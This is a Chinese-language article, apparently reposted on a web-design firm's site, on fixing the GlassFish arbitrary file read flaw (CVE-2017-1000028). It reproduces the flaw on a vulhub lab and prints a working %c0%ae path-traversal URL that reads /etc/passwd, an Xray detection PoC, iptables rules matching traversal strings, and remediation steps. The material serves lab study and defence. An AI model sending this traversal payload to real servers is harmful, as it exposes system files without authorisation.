GlassFish任意文件讀取漏洞怎么修復

小編給大家分享一下GlassFish任意文件讀取漏洞怎么修復,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!

新洲網(wǎng)站制作公司哪家好,找成都創(chuàng)新互聯(lián)!從網(wǎng)頁設(shè)計、網(wǎng)站建設(shè)、微信開發(fā)、APP開發(fā)、成都響應式網(wǎng)站建設(shè)等網(wǎng)站項目制作,到程序開發(fā),運營維護。成都創(chuàng)新互聯(lián)自2013年創(chuàng)立以來到現(xiàn)在10年的時間,我們擁有了豐富的建站經(jīng)驗和運維經(jīng)驗,來保證我們的工作的順利進行。專注于網(wǎng)站建設(shè)就選成都創(chuàng)新互聯(lián)

GlassFish 任意文件讀取漏洞

Port : 4848

漏洞原理

glassfish 是一款 java 編寫的跨平臺的開源的應用服務(wù)器。

java語言中會把 %c0%ae解析為 \uC0AE,最后轉(zhuǎn)義為ASCCII字符的.(點)。利用 %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/來向上跳轉(zhuǎn),達到目錄穿越、任意文件讀取的效果。所以 glassfish 這個 poc 實際上就是../../../../../../../../../../../etc/passwd。

影響版本:

< 4.1.1(不含 4.1.1)

漏洞復現(xiàn)

如下測試環(huán)境借助 vulhub 的 docker 鏡像,附上 P 師傅的鏈接:https://github.com/vulhub/vulhub?

編譯、運行測試環(huán)境,本環(huán)境超級管理員密碼在 docker-compose.yml中設(shè)置,默認為 vulhub_default_password,在4848端口利用該密碼可以登錄管理員賬戶。

docker-compose up -d

環(huán)境運行后,訪問 http://your-ip:8080http://your-ip:4848即可查看 web 頁面。其中,8080 端口是網(wǎng)站內(nèi)容,4848 端口是 GlassFish 管理中心。

GlassFish任意文件讀取漏洞怎么修復

無需登錄,直接訪問 https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd,發(fā)現(xiàn)已成功讀取 /etc/passwd內(nèi)容:

GlassFish任意文件讀取漏洞怎么修復

POC & EXP

如下是 Xray 的 POC,其只穿越了上級目錄,檢測了版本信息,不涉及敏感信息,但同樣也驗證了漏洞存在。

name: poc-yaml-glassfish-cve-2017-1000028-lfi
rules:
  - method: GET
    path: /theme/META-INF/%c0%ae%c0%ae/META-INF/MANIFEST.MF
    follow_redirects: true
    expression: |
      response.status == 200 && response.body.bcontains(b"Ant-Version:") && response.body.bcontains(b"Manifest-Version:")
detail:
  version: <4.1.0
  author: sharecast
  links:
    - https://github.com/vulhub/vulhub/tree/master/glassfish/4.1.0

GlassFish任意文件讀取漏洞怎么修復

漏洞修復

1. 關(guān)閉遠程管理關(guān)閉遠程管理,關(guān)閉后只允許本地訪問,會提示要求輸入用戶名和密碼,開發(fā)環(huán)境或者對服務(wù)器安全要求較高的環(huán)境可以選擇這么做,修改該設(shè)置后應該重啟 GlassFish 服務(wù)

./asadmin change-admin-password ./asadmin disable-secure-admin ./asadmin stop-domain ./asadmin start-domain asadmin.bat change-admin-password asadmin.bat disable-secure-admin asadmin.bat stop-domain asadmin.bat start-domain

需要注意的是,關(guān)閉遠程訪問只能禁用遠程 login 登錄,但是攻擊 url 還是可以訪問,任意文件讀取依然存在

2. IPtables 規(guī)則

iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '..\%c0\%af' -j DROP  
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '\%c0\%ae/' -j DROP  
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '../' -j DROP   
//該規(guī)則無法防御HTTPS SSL方案

3. 禁用 web.xml theme 映射\glassfish5\glassfish\lib\install\applications__admingui\WEB-INF\web.xml

<!--
    <servlet-mapping><servlet-name>ThemeServlet</servlet-name><url-pattern>/theme/*</url-pattern></servlet-mapping>
-->

重啟 glassfish 后生效

以上是“GlassFish任意文件讀取漏洞怎么修復”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學習更多知識,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道!

文章標題:GlassFish任意文件讀取漏洞怎么修復
文章轉(zhuǎn)載:http://bm7419.com/article12/jdsigc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站排名、響應式網(wǎng)站、靜態(tài)網(wǎng)站、網(wǎng)站維護、軟件開發(fā)用戶體驗

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

h5響應式網(wǎng)站建設(shè)